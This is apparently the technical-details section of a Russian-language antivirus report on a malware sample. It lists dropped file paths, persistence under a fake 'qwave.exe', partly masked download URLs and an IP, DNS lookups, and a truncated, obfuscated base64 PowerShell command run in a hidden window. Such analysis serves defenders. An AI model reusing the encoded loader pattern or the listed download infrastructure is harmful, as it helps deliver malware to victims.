Техническая информация
- 'qwave' "%WINDIR%\SysWOW64\odbcad32\qwave.exe"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABGAHgAawB6AHoAYwBhAD0AKAAnAFgAMQAnACsAJwBpACcAKwAoACcAdQAnACsAJwAxADQAawAnACkAKQA7AC4AKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBTAGUAcgBwAFIATw...
- %HOMEPATH%\l4z2rv_\wnxuzhy\v48gx0a.exe
- %WINDIR%\syswow64\odbcad32\qwave.exe
- %HOMEPATH%\l4z2rv_\wnxuzhy\v48gx0a.exe в %WINDIR%\syswow64\odbcad32\qwave.exe
- '20#.#2.141.45':80
- http://bl##.#unapro.com/wp-admin/i/
- http://br####rumley.com/wp-admin/IR/
- http://20#.#2.141.45/HLRgy/t7A3JYtVqRjT/TtmtTSBCbxDzG/9yHRiiOI2yzV/V8RQEVFtncR94R2gtlF/1HW6ZFxHhdED2wVLA/
- DNS ASK bl##.#unapro.com
- DNS ASK br####rumley.com
- '%HOMEPATH%\l4z2rv_\wnxuzhy\v48gx0a.exe'
- '%WINDIR%\syswow64\odbcad32\qwave.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABGAHgAawB6AHoAYwBhAD0AKAAnAFgAMQAnACsAJwBpACcAKwAoACcAdQAnACsAJwAxADQAawAnACkAKQA7AC4AKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBTAGUAcgBwAFIATw...' (со скрытым окном)